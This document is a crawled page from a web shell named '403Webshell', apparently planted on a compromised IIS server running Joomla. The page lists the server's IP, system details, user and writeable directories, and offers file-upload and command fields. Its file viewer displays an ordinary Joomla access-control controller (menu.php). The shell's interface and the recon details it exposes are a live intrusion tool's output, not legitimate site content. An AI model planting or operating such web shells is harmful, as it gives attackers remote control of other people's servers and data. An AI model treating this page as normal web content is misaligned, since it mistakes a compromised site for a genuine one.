403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/icd/administrator/components/com_noixacl/adapters/menu/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/icd/administrator/components/com_noixacl/adapters/menu//menu.php
<?php
/**
 * No Direct Access
 */
defined( '_JEXEC' ) or die( 'Restricted access' );

/**
 * Users Component Controller
 *
 * @package		Joomla
 * @subpackage	Adapters
 * @since 1.5
 */
class MenuController extends Adapters
{
	/**
	 * Save Adapter
	 */
	function save($groupName)
	{
        /**
         * Checking post of adapter menu
         */
            if( !empty($_POST['menu']) ){
                $post = $_POST['menu'];

                /**
                 * Saving site rules
                 */
                if( !empty($post['Site']) ){
                    foreach($post['Site'] as $menuType => $menuTypeData){
                        $extraParams = array(
                            '$menutype' => $menuType
                        );

                        /**
                         * Group By $menu_id
                         */
                        foreach($menuTypeData as $menu_id => $view){
                            /**
                             * Getting $menu_id
                             */
                            $extraParams['$menu_id'] = $menu_id;

                            /**
                             * Saving Rule
                             */
                            $resultRuleSite = $this->saveRule("menu","site",$groupName,$view['tasks'],$extraParams);
                        }
                    }
                }

                /**
                 * Saving Admin Rules
                 */
                if( !empty($post['Admin']) ){
                    foreach($post['Admin'] as $menutype => $view){
                        $extraParams = array(
                            '$menutype' => $menutype
                        );

                        $resultRuleAdmin = $this->saveRule("menu","admin",$groupName,$view['tasks'],$extraParams);
                    }
                }

                /**
                 * Verifying result of save
                 */
                if( $resultRuleAdmin == TRUE && $resultRuleSite == TRUE ){
                    return true;
                }

                return false;
            }
	}

	/**
	 * Delete Adapter
	 */
	function delete($groupName='')
	{
		$this->deleteRules("com_menus","access",$groupName);
        $this->deleteRules("com_menus","edit",$groupName);
	}

	/**
	 * Displays a view
	 */
	function display()
	{
		parent::display();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit